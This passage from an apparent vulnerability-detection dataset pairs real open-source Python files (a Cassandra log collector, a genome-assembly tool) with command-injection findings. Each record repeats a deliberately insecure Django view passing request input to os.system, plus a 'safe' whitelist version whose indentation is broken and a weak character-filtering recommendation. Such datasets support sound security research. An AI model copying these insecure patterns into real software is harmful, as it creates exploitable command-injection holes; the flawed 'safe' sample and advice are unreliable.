setup:\n                print(\"Testing setup for {}:{}:{} failed\".format(filter, n, i))\n                continue\n            setup = int(setup)/1000\n            print(\"{}\\t{}\\t{}\\t{}\".format(out[0], out[1], out_ping, setup))\n            number_of_tests_executed += 1\n\n            data_throughput[filter][n].append(out[0])\n            data_cpu[filter][n].append(out[1])\n            data_ping[filter][n].append(out_ping)\n            data_setup[filter][n].append(setup)\n\nwrite_csv(\"throughput.csv\", data_throughput)\nwrite_csv(\"cpu.csv\", data_cpu)\nwrite_csv(\"latency.csv\", data_ping)\nwrite_csv(\"setup.csv\", data_setup)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "93fa62cd9aa139be56cf336de23819872eb9c309fc01a8b222d1a6f572ab793b", "license": {"spdx": ["Apache-2.0"], "repo": "Anant/cassandra.vision", "path": "cassandra-analyzer/offline-log-collector/collect_logs.py", "repo_head_hexsha": "7e57c2b23483cdaae0d23d1d02f8c635d936fd3a", "stack_hexsha": "fbd5860322bb52930dd7967274aa910dd05fc71c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 133, "entireCode": "import argparse\nimport os\nimport shutil\nimport yaml\nimport subprocess\nfrom pathlib import Path\nfrom copy import deepcopy\nimport zipfile\nimport tarfile\nimport fnmatch\nfrom datetime import datetime\nimport sys\nfrom helper_classes.node import Node\nimport stat\n\n# TODO rename to `offline_log_collector_path`\nproject_root_path = os.path.dirname(os.path.realpath(__file__))\nrepo_path = f\"{project_root_path}/../..\"\nnode_analyzer_path = f\"{project_root_path}/NodeAnalyzer\"\ntable_analyzer_path = f\"{project_root_path}/TableAnalyzer\"\ndefault_settings_yml_path = os.path.join(project_root_path, \"config/settings.yaml\")\ndefault_environments_yml_path = os.path.join(project_root_path, \"config/environments.yaml\")\n\n# access TableAnalyzer class and related helpers\nsys.path.insert(0, table_analyzer_path)\n\n# not using for now, just running as a command line script for easy args sending\n# from cfstats.receive import main as run_table_analyzer_main\n# gets ssh key or cassandra/spark hosts from our environments.yml file\n# `config` is a module in TableAnalyzer package\nfrom config import get_keys\n\ntarballs_to_ingest_dir_path = f\"{project_root_path}/../offline-log-ingester/log-tarballs-to-ingest\"\n\nconfig_path_defaults = {\n    \"dse\": \"/etc/dse/cassandra/\",\n    # https://cassandra.apache.org/doc/latest/getting_started/configuring.html\n    # depends on installation type:\n    # - tarball: `conf` directory within the tarball install location\n    # - package: /etc/cassandra directory\n    # we'll use package defaults\n    \"cassandra\": \"/etc/cassandra\"\n}\n\nlog_path_defaults = {\n    \"dse\": \"/var/log/cassandra/\",\n    \"cassandra\":  \"/var/log/cassandra/\",\n}\n\nclass CollectLogs:\n    \"\"\"\n    Class to model the task of generating a tarball of C* logs from multiple hosts\n    - tarball directory format is consistent with what we get from DSE, though it adds more (e.g., gc logs)\n    - Works on OSS C* and DSE nodes\n    - compiles logs from multiple hosts into a single tarball\n    - includes output of NodeAnalyzer/TableAnalyzer tools (which themselves are simply running a series of nodetool commands on each node, as well as gathering logs)\n    \"\"\"\n    client_name = \"\"\n    tarball_filename = \"\"\n\n    # list of strings extracted from environments.yaml\n    regions = []\n    # dict, with keys being regions, and values list of strings extracted from environments.yaml\n    datacenters_by_region = {}\n\n    all_nodes = []\n    cassandra_nodes = []\n    spark_nodes = []\n\n    # whatever directory was archived\n    archived_dir_name = \"\"\n\n    debug_mode = False\n\n    def __init__(self, client_name, **kwargs):\n\n        # the name of the client (or some sort of human readable identifier for them), e.g., example-company\n        self.client_name = client_name\n\n        # where we will set the logs for this client (so each client has their own dir)\n        time_for_dir = datetime.now().strftime(\"%m%d%YT%H%M%S\")\n\n        # where we will stage the directory that will be archived before archiving it\n        self.base_filepath_for_logs = f\"{tarballs_to_ingest_dir_path}/tmp/\"\n\n        # name of the directory that will be archived\n        self.archived_dir_name = f\"{self.client_name}\"\n\n        self.archived_dir = os.path.join(self.base_filepath_for_logs, self.archived_dir_name)\n\n        # wha the tarball will be called\n        self.tarball_filename = kwargs.get(\"tarball_filename\", f\"{self.archived_dir_name}.tar.gz\")\n        if self.tarball_filename is None:\n            self.tarball_filename = f\"{self.archived_dir_name}.tar.gz\"\n\n        # absolute path to the tar ball\n        self.tarball_path = f\"{tarballs_to_ingest_dir_path}/{self.tarball_filename}\"\n\n        # there should be a parent directory called \"nodes\" where all the nodes live\n        self.nodes_dir = f\"{self.base_filepath_for_logs}/nodes\"\n\n        ##################\n        # other options\n        ##################\n        self.clean_up_on_finish = kwargs.get(\"clean_up_on_finish\", False)\n\n        # expanding tilde to the home dir automatically, in case they specify using path from home dir\n        self.path_to_settings_file = os.path.expanduser(kwargs.get(\"path_to_settings_file\", default_settings_yml_path))\n        self.path_to_environments_file = os.path.expanduser(kwargs.get(\"path_to_environments_file\", default_environments_yml_path))\n        self.skip_node_analyzer = kwargs.get(\"skip_node_analyzer\", False)\n        self.skip_table_analyzer = kwargs.get(\"skip_table_analyzer\", False)\n\n    ###################################################\n    # helpers\n    ###################################################\n\n    def run_table_analyzer(self, region, environment, node_type):\n        \"\"\"\n        runs table analyzer to get data we need\n        - usage: python3 cfstats.receive.py {region} {environment} {db} {0|1} (debug) [-k] (keyspace) [-t] (table)\n            * However, `db` var is either \"spark\" or \"cassandra\", so calling that node_type here\n            * `environment` is something like a datacenter name\n        - after running, will have a file in {project_root}/data/{region}/{environment}/ for each node, called \".txt\" (e.g., 1.2.3.4.txt)\n        \"\"\"\n\n        # is either cassandra or spark. Note that TableAnalyzer sometimes calls db \"db\" and sometimes \"datacenter\"\n\n        cmd_base = f\"python3 {table_analyzer_path}/cfstats.receive.py\"\n        cmd_with_args = f\"{cmd_base} {region} {environment} {node_type} 1\"\n        print(\"Now running TableAnalyzer:\", cmd_with_args)\n        print(\"--- TableAnalyzer output ---\")\n        try:\n            subprocess.run(cmd_with_args, shell=True, check = True)\n        except subprocess.CalledProcessError as e:\n            # throwing anyways\n            raise e\n\n        print(\"--- (end of TableAnalyzer output) ---\")\n\n    # NOTE not using currently. Only if we want all files everywhere. Currently we're just targeting the /logs dir\n    # TODO remove\n    def position_log_files_for_node(self, hostname, log_type_def, **kwargs):\n        \"\"\"\n        For a directory that contains logs for a single node and a single log_type_def of that node:\n        put to each individual log files that were extracted from the tarball into the place they should go\n        - just goes into /logs/cassandra (or whatever our self.path_to_cassandra_logs is) and grabs those logs\n        \"\"\"\n              \n    def read_settings_yml(self):\n        \"\"\"\n        parses out the settings.yaml File\n        - TODOs\n            * if we want more granular control, could allow a path_to_logs and path_to_conf in node_settings as well, so can set per node\n        \"\"\"\n        settings_yml_dict = {} \n        try:\n            with open(self.path_to_settings_file, 'r') as stream:\n                # convert to dict\n                # no need to load, so just safe_load\n                settings_yml_dict = yaml.safe_load(stream)\n\n        except FileNotFoundError as e:\n            print(e)\n            print(\"No settings.yaml found; using defaults\")\n\n        except yaml.YAMLError as e:\n            print(e)\n            print(\"bad yaml, raise this one\")\n            raise e\n\n        # support setting some of these paths and not others. E.g., if they set log paths and not configs\n        cluster_settings = settings_yml_dict.get(\"cluster_settings\", {})\n\n        # default settings for nodes in this cluster\n        self.node_defaults = cluster_settings.get(\"node_defaults\", {})\n\n        # what cassandra distribution this cluster is running. default to oss cassandra\n        self.cassandra_distribution = cluster_settings.get(\"cassandra_distribution\", \"cassandra\")\n\n        default_log_path = log_path_defaults[self.cassandra_distribution]\n        default_config_path = config_path_defaults[self.cassandra_distribution]\n\n        # these will be a list of strings representing paths\n        print(\"setting log and config paths\")\n        self.all_log_paths = cluster_settings.get(\"paths_to_logs\", [default_log_path])\n        self.all_config_paths = cluster_settings.get(\"paths_to_configs\", [default_config_path])\n\n        self.settings_by_node = settings_yml_dict.get(\"settings_by_node\", {})\n\n    def read_environments_yml(self):\n        \"\"\"\n        reads environments.yaml file and extracts information about the hosts and ssh keys to access them. Also instantiates our Node class for each node\n        - Currently only supports a file at {project_root}/config/environments.yaml (following the convention set by TableAnalyzer tool)\n        - TODO add support for specifying a different path/filename\n        \"\"\"\n        with open(self.path_to_environments_file, 'r') as stream:\n            try:\n                # convert to dict\n                # no need to load, so just safe_load\n                self.environments_yml_dict = yaml.safe_load(stream)\n\n            except yaml.YAMLError as e:\n                print(e)\n                # for now just throwing anyways. If it doesn't generate, we don't want it to run\n                raise e\n\n\n        # iterate over the yml and get out the data we want\n        print(self.environments_yml_dict)\n        for region, datacenters in self.environments_yml_dict.items():\n            self.regions.append(region)\n\n            # db should be \"spark\" or \"cassandra\"\n            for datacenter_name, data_for_datacenter in datacenters.items():\n                if self.datacenters_by_region.get(region, None) is None:\n                    self.datacenters_by_region[region] = []\n\n                self.datacenters_by_region[region].append(datacenter_name)\n\n                # this is filename of ssh key for this environment in this region\n                # for TableAnalyzer to work, needs to be in ./keys/, relative to PWD (so in this directory actually)\n                ssh_key_for_dc = data_for_datacenter.get(\"key\", \"\")\n\n                nodes_by_hostname = {}\n\n                # iterate over cassandra and spark nodes. Note that if one node has both, this script will overwrite the same data///.txt file on the 2nd call, but that's ok, the info should be identical. \n                # this is to make sure that all nodes have nodetool ran on them\n                for node_type in [\"cassandra\", \"spark\"]:\n                    hostnames = data_for_datacenter.get(node_type, [])\n                    print(\"hostnames for region \", region, \"and datacenter\", datacenter_name)\n                    print(hostnames)\n\n                    for hostname in hostnames:\n                        # set to existing node if exists\n                        node = nodes_by_hostname.get(hostname, None)\n                        if node is None:\n                            # if not, make one\n\n                            # right now no defaults\n                            defaults = {**self.node_defaults}\n\n                            # merge in settings for node set by settings.yaml\n                            settings_for_node = self.settings_by_node.get(hostname, {})\n                            options = {**defaults, **settings_for_node}\n\n                            node = Node(\n                                region=region,\n                                hostname=hostname, \n                                datacenter_name=datacenter_name,\n                                ssh_key=ssh_key_for_dc,\n                                all_log_paths=self.all_log_paths,\n                                all_config_paths=self.all_config_paths,\n                                job_archived_dir=self.archived_dir,\n                                project_root_path=project_root_path,\n                                **options\n                            )\n\n                            nodes_by_hostname[hostname] = node\n                            self.all_nodes.append(node)\n\n\n                        if node_type == \"spark\":\n                            node.has_spark = True\n                            self.spark_nodes.append(node)\n\n                        elif node_type == \"cassandra\":\n                            node.has_cassandra = True\n                            self.cassandra_nodes.append(node)\n\n    ###################################################\n    # the operations we run when ingesting the tarball\n    ###################################################\n\n\n    def parse_settings(self):\n        \"\"\"\n        reads the yaml files and gathers the settings we need. \n        - if there is no environments settings yaml, uses defaults. \n        - environments.yaml is required though\n        \"\"\"\n        # do this one first, so paths are initialized\n        self.read_settings_yml()\n\n        self.read_environments_yml()\n\n    def analyze_cluster(self):\n        \"\"\"\n        iterate over each region, and each datacenter within each region, and each node within each data center\n        for each, run TableAnalyzer's nodetool.receive.v2.sh script\n        \"\"\"\n        # run TableAnalyzer on each datacenter in each region\n        for region in self.regions:\n            for datacenter_name in self.datacenters_by_region[region]:\n                for node_type in [\"cassandra\", \"spark\"]:\n                    self.run_table_analyzer(region, datacenter_name, node_type)\n\n    def add_additional_nodes(self):\n        \"\"\"\n        if nodetool status found other ip addresses, add those nodes to our self.all_nodes and self.cassandra_nodes\n        first, parse .txt file that TableAnalyzer made\n        \"\"\"\n        # TODO checkout detectTopology flag in TableAnalyzer/cfstats.receive.py for what is already ran. Maybe just get output from there somehow. Could write a file from within TableAnalyzer, so can access that file. Or make the detectToplogy part a method and import that method using python directly\n        pass\n\n\n    def analyze_each_node(self):\n        \"\"\"\n        iterate over each node in the cluster, and run NodeAnalyzer tool\n        Will write files to ./data dir also\n        TODO do for Spark also\n        \"\"\"\n        for node in self.cassandra_nodes:\n            print(\"getting logs and nodetool data from\", node.hostname)\n            node.run_node_analyzer(node_analyzer_path)\n\n        # node analyzer seems to make the data dir owned by root. need to chown TODO\n\n    def create_dirs_for_hosts(self):\n        \"\"\"\n        iterate over all hostnames, and create one directory for each in the directory that we're going to archive\n        - Only doing cassandra for now; add spark nodes later\n        - NOTE might not be necessary, since we use shutil.copytree later, and that creates directories recursively for us\n\n        TODO do for Spark also\n        \"\"\"\n        for node in self.cassandra_nodes:\n            # make sure the directory exists\n            Path(f\"{node.final_position_dir}\").mkdir(parents=True, exist_ok=True)\n            Path(f\"{node.final_position_dir}/table-analyzer-output\").mkdir(parents=True, exist_ok=True)\n\n    def position_files(self):\n        \"\"\"\n        put all log, conf, nodetool output, and tableanalyzer files where we want them so they're ready to be archived\n        - copies from the dir where we outputted all of our data gathering to the directory that will be archived\n\n        TODO do for Spark also\n        \"\"\"\n        for node in self.cassandra_nodes:\n            node.copy_files_to_final_destination()\n\n    def compress_into_tarball(self):\n        \"\"\"\n        compress all data into a single tarball\n        place tarball in tarball_path, where it will be ready to be read by IngestTarball class\n        \"\"\"\n        with tarfile.open(self.tarball_path, \"w:gz\") as tar:\n            print(\"making tarball from\", self.archived_dir)\n            print(\"writing tarball to\", self.tarball_path)\n            tar.add(self.archived_dir, arcname=os.path.basename(self.archived_dir))\n\n\n\n    def cleanup(self, successful):\n        \"\"\"\n        Does whatever needs to be done after the job is successful, or after the job failed for that matter\n        \"\"\"\n\n        if successful:\n            if self.clean_up_on_finish:\n\n                # remove everything we generated using this script except the tarball\n                shutil.rmtree(self.base_filepath_for_logs)\n\n                # TODO this is owned by root, and giving file permissions errors. Do later\n                # shutil.rmtree(os.path.join(project_root_path, \"data\"))\n\n        else:\n            # this is it for now\n            print(\"failed to collect logs and create tarball for logs\")\n\n    ###################################################\n    # do it all\n    ###################################################\n    def run(self):\n        successful = False\n        try:\n            print(\"\\n=== Parsing Settings ===\")\n            self.parse_settings()\n\n            if (self.skip_table_analyzer):\n                print(\"\\n=== (skipping TableAnalyzer for this run) ===\")\n                # skip this whole step for now, since this only does table analyzer\n            else:\n                print(\"\\n=== Get table stats and place in tmp directory ===\")\n                self.analyze_cluster()\n\n            print(\"\\n=== Add nodes found by `nodetool status` ===\")\n            # TODO not yet doing anything\n            self.add_additional_nodes()\n\n            if self.skip_node_analyzer:\n                print(\"\\n=== (skipping NodeAnalyzer for this run) ===\")\n            else:\n                print(\"\\n=== Get logs and nodetool data from each node and place in tmp directory ===\")\n                self.analyze_each_node()\n\n            print(\"\\n=== Creating directory for each host ===\")\n            self.create_dirs_for_hosts()\n\n            print(\"\\n=== Positioning files (to get ready to be archived) ===\")\n            self.position_files()\n\n            print(\"\\n=== Compressing into tarball ===\")\n            self.compress_into_tarball()\n\n            successful = True\n\n        except Exception as e:\n            # currently not catching\n            successful = False\n            raise e\n\n        # no matter what, cleanup\n        print(\"=== Cleaning up ===\")\n        self.cleanup(successful)\n\n        if successful:\n            print(\"Success.\")\n\nif __name__ == '__main__':\n    \"\"\"\n    Instructions:\n\n    1) specify your hosts and ssh keys in a `environments.yaml` file\n        - Find template at: ./config-templates/environments-sample.yaml\n        - Template should be identical to TableAnalyzer yaml. Note that currently we are currently calling TableAnalyzer/cfstats.receive.py in this script, so to maintain compatibility need to use exact same format for the environments_yml. \n\n    2) unless cassandra logs are anywhere besides the defaults (see below) specify settings in settings.yaml\n        - find template for environment-settings.yaml at ./config-templates/settings.sample.yaml\n        - In that case, specify the path to your logs directory, as shown in the environments-sample.yaml file. \n            * If all hosts have files in the same place, you can specify by using\n    2) name file and place at default location, {project_root_path}/config/environments.yaml\n    3) Pass in arbitrary string to call your company. Call like:\n        python3 collect_logs.py my-company\n    \"\"\"\n\n    parser = argparse.ArgumentParser(\n        description='Converting Stats Form TXT TO CSV Format',\n        usage='{company_name}')\n    parser.add_argument('client_name', type=str, help='name of client')\n    parser.add_argument('--tarball-filename', dest=\"tarball_filename\", type=str, help='name you want for archive file (e.g., tarball-for-my-client.tar.gz). Can be .tar.gz or .zip')\n    # will just use whatever we name the dir we archive, and it will be a tarball, not a .zip\n    parser.set_defaults(tarball_filename=None)\n    parser.add_argument('--cleanup-on-finish', dest='clean_up_on_finish', action='store_true', help=\"If runs successfully, clears out everything created except for the new tarball\")\n    parser.add_argument('--settings-file', dest='path_to_settings_file', action='store_true', help=\"path to settings file. Defaults to config/settings.yaml\")\n    parser.set_defaults(path_to_settings_file=default_settings_yml_path)\n\n    parser.add_argument('--environments-file', dest='path_to_environments_file', action='store_true', help=\"path to environments file. Defaults to config/environments.yaml\")\n    parser.add_argument('--skip-table-analyzer', dest='skip_table_analyzer', action='store_true', help=\"if set, will not run TableAnalyzer receive\")\n    parser.add_argument('--skip-node-analyzer', dest='skip_node_analyzer', action='store_true', help=\"if set, will not run NodeAnalyzer commands\")\n    parser.set_defaults(path_to_environments_file=default_environments_yml_path)\n\n    args = parser.parse_args()\n\n    options = {\n        \"clean_up_on_finish\": args.clean_up_on_finish,\n        \"tarball_filename\": args.tarball_filename,\n        \"path_to_settings_file\": args.path_to_settings_file,\n        \"path_to_environments_file\": args.path_to_environments_file,\n        \"skip_node_analyzer\": args.skip_node_analyzer,\n        \"skip_table_analyzer\": args.skip_table_analyzer,\n    }\n\n    collectLogs = CollectLogs(args.client_name, **options)\n    collectLogs.run()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 133, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "b6418f076bd18fb800b4c3db9b2a7a0c06ae2130a8abc6b3261ed36133091245", "license": {"spdx": ["BSD-2-Clause"], "repo": "dominik-handler/TELR", "path": "src/telr/TELR_assembly.py", "repo_head_hexsha": "3e34e54fc959c13fa45dc911facf0d5179fbb34b", "stack_hexsha": "8a8db025d17d202dce4f03767b8394c4ff63db8d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 214, "entireCode": "import sys\nimport os\nimport subprocess\nimport shutil\nimport time\nimport logging\nfrom Bio import SeqIO\nfrom multiprocessing import Pool\nimport pysam\nfrom telr.TELR_utility import mkdir, check_exist, format_time\n\n\ndef get_local_contigs(\n    assembler,\n    polisher,\n    contig_dir,\n    vcf_parsed,\n    out,\n    sample_name,\n    bam,\n    raw_reads,\n    thread,\n    presets,\n    polish_iterations,\n):\n    \"\"\"Perform local assembly using reads from parsed VCF file in parallel\"\"\"\n\n    # Prepare reads used for local assembly and polishing\n    sv_reads_dir = os.path.join(out, \"sv_reads\")\n\n    try:\n        prep_assembly_inputs(\n            vcf_parsed, out, sample_name, bam, raw_reads, sv_reads_dir, read_type=\"sv\"\n        )\n    except Exception as e:\n        print(e)\n        print(\"Prepare local assembly input data failed, exiting...\")\n        sys.exit(1)\n\n    mkdir(contig_dir)\n\n    k = 0\n    asm_pa_list = []\n    with open(vcf_parsed, \"r\") as input:\n        for line in input:\n            entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n            contig_name = \"_\".join([entry[0], entry[1], entry[2]])\n            # rename variant reads\n            sv_reads = sv_reads_dir + \"/contig\" + str(k)\n            sv_reads_rename = sv_reads_dir + \"/\" + contig_name + \".reads.fa\"\n            os.rename(sv_reads, sv_reads_rename)\n            thread_asm = 1\n            asm_pa = [\n                sv_reads_rename,\n                contig_dir,\n                contig_name,\n                thread_asm,\n                presets,\n                assembler,\n                polisher,\n                polish_iterations,\n            ]\n            asm_pa_list.append(asm_pa)\n            k = k + 1\n    # run assembly in parallel\n    logging.info(\"Perform local assembly of non-reference TE loci...\")\n    start_time = time.time()\n\n    try:\n        pool = Pool(processes=thread)\n        contig_list = pool.map(run_assembly_polishing, asm_pa_list)\n        pool.close()\n        pool.join()\n    except Exception as e:\n        print(e)\n        print(\"Local assembly failed, exiting...\")\n        sys.exit(1)\n\n    proc_time = time.time() - start_time\n\n    # merge all contigs\n    assembly_passed_loci = set()\n    merged_contigs = os.path.join(out, sample_name + \".contigs.fa\")\n    with open(merged_contigs, \"w\") as merged_output_handle:\n        for contig in contig_list:\n            if check_exist(contig):\n                contig_name = os.path.basename(contig).replace(\".cns.fa\", \"\")\n                assembly_passed_loci.add(contig_name)\n                parsed_contig = os.path.join(contig_dir, contig_name + \".cns.ctg1.fa\")\n                with open(contig, \"r\") as input:\n                    records = SeqIO.parse(input, \"fasta\")\n                    for record in records:\n                        if record.id == \"ctg1\" or record.id == \"contig_1\":\n                            record.id = contig_name\n                            record.description = \"len=\" + str(len(record.seq))\n                            SeqIO.write(record, merged_output_handle, \"fasta\")\n                            with open(parsed_contig, \"w\") as parsed_output_handle:\n                                SeqIO.write(record, parsed_output_handle, \"fasta\")\n\n    logging.info(\"Local assembly finished in \" + format_time(proc_time))\n    return merged_contigs, assembly_passed_loci\n\n\ndef run_assembly_polishing(args):\n    reads = args[0]\n    asm_dir = args[1]\n    contig_name = args[2]\n    thread = args[3]\n    presets = args[4]\n    assembler = args[5]\n    polisher = args[6]\n    polish_iterations = args[7]\n\n    # run assembly\n    if assembler == \"wtdbg2\":\n        asm_cns = run_wtdbg2_assembly(reads, asm_dir, contig_name, thread, presets)\n    else:\n        asm_cns = run_flye_assembly(reads, asm_dir, contig_name, thread, presets)\n\n    if not check_exist(asm_cns):\n        print(\"assembly failed\")\n        return None\n\n    # run polishing\n    if polish_iterations > 0:\n        if polisher == \"wtdbg2\":\n            asm_cns = run_wtdbg2_polishing(\n                asm_cns, reads, thread, polish_iterations, presets\n            )\n        else:\n            asm_cns = run_flye_polishing(\n                asm_cns, reads, asm_dir, contig_name, thread, polish_iterations, presets\n            )\n\n    if check_exist(asm_cns):\n        return asm_cns\n    else:\n        return None\n\n\ndef run_flye_polishing(\n    asm_cns, reads, asm_dir, contig_name, thread, polish_iterations, presets\n):\n    \"\"\"Run Flye polishing\"\"\"\n    if presets == \"pacbio\":\n        presets_flye = \"--pacbio-raw\"\n    else:\n        presets_flye = \"--nano-raw\"\n\n    tmp_out_dir = os.path.join(asm_dir, contig_name)\n    mkdir(tmp_out_dir)\n    try:\n        subprocess.call(\n            [\n                \"flye\",\n                \"--polish-target\",\n                asm_cns,\n                presets_flye,\n                reads,\n                \"--out-dir\",\n                tmp_out_dir,\n                \"--thread\",\n                str(thread),\n                \"--iterations\",\n                str(polish_iterations),\n            ]\n        )\n    except Exception as e:\n        print(e)\n        print(\"Polishing failed, exiting...\")\n        return None\n\n    # rename contig file\n    polished_contig = os.path.join(\n        tmp_out_dir, \"polished_\" + str(polish_iterations) + \".fasta\"\n    )\n    if check_exist(polished_contig):\n        os.rename(polished_contig, asm_cns)\n        shutil.rmtree(tmp_out_dir)\n        return asm_cns\n    else:\n        return None\n\n\ndef run_wtdbg2_polishing(asm_cns, reads, threads, polish_iterations, presets):\n    \"\"\"Run wtdbg2 polishing\"\"\"\n    if presets == \"pacbio\":\n        presets_minimap2 = \"map-pb\"\n    else:\n        presets_minimap2 = \"map-ont\"\n\n    # polish consensus\n    threads = str(min(threads, 4))\n    bam = asm_cns + \".bam\"\n    k = 0\n    while True:\n        # align reads to contigs\n\n        command = (\n            \"minimap2 -t \"\n            + threads\n            + \" -ax \"\n            + presets_minimap2\n            + \" -r2k \"\n            + asm_cns\n            + \" \"\n            + reads\n            + \" | samtools sort -@\"\n            + threads\n            + \" > \"\n            + bam\n        )\n        try:\n            subprocess.run(\n                command,\n                shell=True,\n                timeout=300,\n                stdout=subprocess.DEVNULL,\n                stderr=subprocess.STDOUT,\n            )\n        except subprocess.TimeoutExpired:\n            print(\"fail to map reads to contig: \" + asm_cns)\n            return\n\n        # run wtpoa-cns to get polished contig\n        cns_tmp = asm_cns + \".tmp\"\n        command = (\n            \"samtools view -F0x900 \"\n            + bam\n            + \" | wtpoa-cns -t \"\n            + threads\n            + \" -d \"\n            + asm_cns\n            + \" -i - -fo \"\n            + cns_tmp\n        )\n        try:\n            subprocess.run(\n                command,\n                shell=True,\n                timeout=300,\n                stdout=subprocess.DEVNULL,\n                stderr=subprocess.STDOUT,\n            )\n        except subprocess.TimeoutExpired:\n            print(\"fail to polish contig: \" + asm_cns)\n            return\n        if check_exist(cns_tmp):\n            os.rename(cns_tmp, asm_cns)\n            os.remove(bam)\n        else:\n            break\n        k = k + 1\n        if k >= polish_iterations:\n            break\n    if check_exist(asm_cns):\n        return asm_cns\n    else:\n        print(\"polishing failed for \" + asm_cns + \"\\n\")\n    return None\n\n\ndef run_flye_assembly(sv_reads, asm_dir, contig_name, thread, presets):\n    \"\"\"Run Flye assembly\"\"\"\n    if presets == \"pacbio\":\n        presets_flye = \"--pacbio-raw\"\n    else:\n        presets_flye = \"--nano-raw\"\n\n    tmp_out_dir = os.path.join(asm_dir, contig_name)\n    mkdir(tmp_out_dir)\n    try:\n        subprocess.call(\n            [\n                \"flye\",\n                presets_flye,\n                sv_reads,\n                \"--out-dir\",\n                tmp_out_dir,\n                \"--thread\",\n                str(thread),\n                \"--iterations\",\n                \"0\",\n            ]\n        )\n    except Exception as e:\n        print(e)\n        print(\"Assembly failed, exiting...\")\n        return\n    # rename contigs\n    contig_path = os.path.join(tmp_out_dir, \"assembly.fasta\")\n    contig_path_new = os.path.join(asm_dir, contig_name + \".cns.fa\")\n    if check_exist(contig_path):\n        os.rename(contig_path, contig_path_new)\n        # remove tmp files\n        shutil.rmtree(tmp_out_dir)\n        return contig_path_new\n    else:\n        print(\"assembly failed\")\n        return None\n\n\ndef run_wtdbg2_assembly(sv_reads, asm_dir, contig_name, thread, presets):\n    \"\"\"Run wtdbg2 assembly\"\"\"\n    if presets == \"pacbio\":\n        presets_wtdbg2 = \"rs\"\n    else:\n        presets_wtdbg2 = \"ont\"\n    prefix = sv_reads.replace(\".reads.fa\", \"\")\n    try:\n        subprocess.run(\n            [\n                \"wtdbg2\",\n                \"-x\",\n                presets_wtdbg2,\n                \"-q\",\n                \"-AS\",\n                \"1\",\n                \"-g\",\n                \"30k\",\n                \"-t\",\n                str(thread),\n                \"-i\",\n                sv_reads,\n                \"-fo\",\n                prefix,\n            ],\n            timeout=300,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"fail to build contig layout for contig: \" + contig_name)\n        return\n    except Exception as e:\n        print(e)\n        print(\"wtdbg2 failed, exiting...\")\n        return None\n\n    # derive consensus\n    contig_layout = prefix + \".ctg.lay.gz\"\n    if check_exist(contig_layout):\n        cns_thread = str(min(thread, 4))\n        consensus = prefix + \".cns.fa\"\n        try:\n            subprocess.run(\n                [\n                    \"wtpoa-cns\",\n                    \"-q\",\n                    \"-t\",\n                    cns_thread,\n                    \"-i\",\n                    contig_layout,\n                    \"-fo\",\n                    consensus,\n                ],\n                timeout=300,\n            )\n        except subprocess.TimeoutExpired:\n            print(\"fail to assemble contig: \" + contig_name)\n            return None\n\n    if check_exist(consensus):\n        consensus_rename = os.path.join(asm_dir, contig_name + \".cns.fa\")\n        os.rename(consensus, consensus_rename)\n        return consensus_rename\n    else:\n        return None\n\n\ndef prep_assembly_inputs(\n    vcf_parsed, out, sample_name, bam, raw_reads, reads_dir, read_type=\"sv\"\n):\n    \"\"\"Prepare reads for local assembly\"\"\"\n    # logging.info(\"Prepare reads for local assembly\")\n\n    if read_type == \"sv\":  # TODO: figure out what this does\n        # extract read IDs\n        read_ids = os.path.join(out, sample_name + 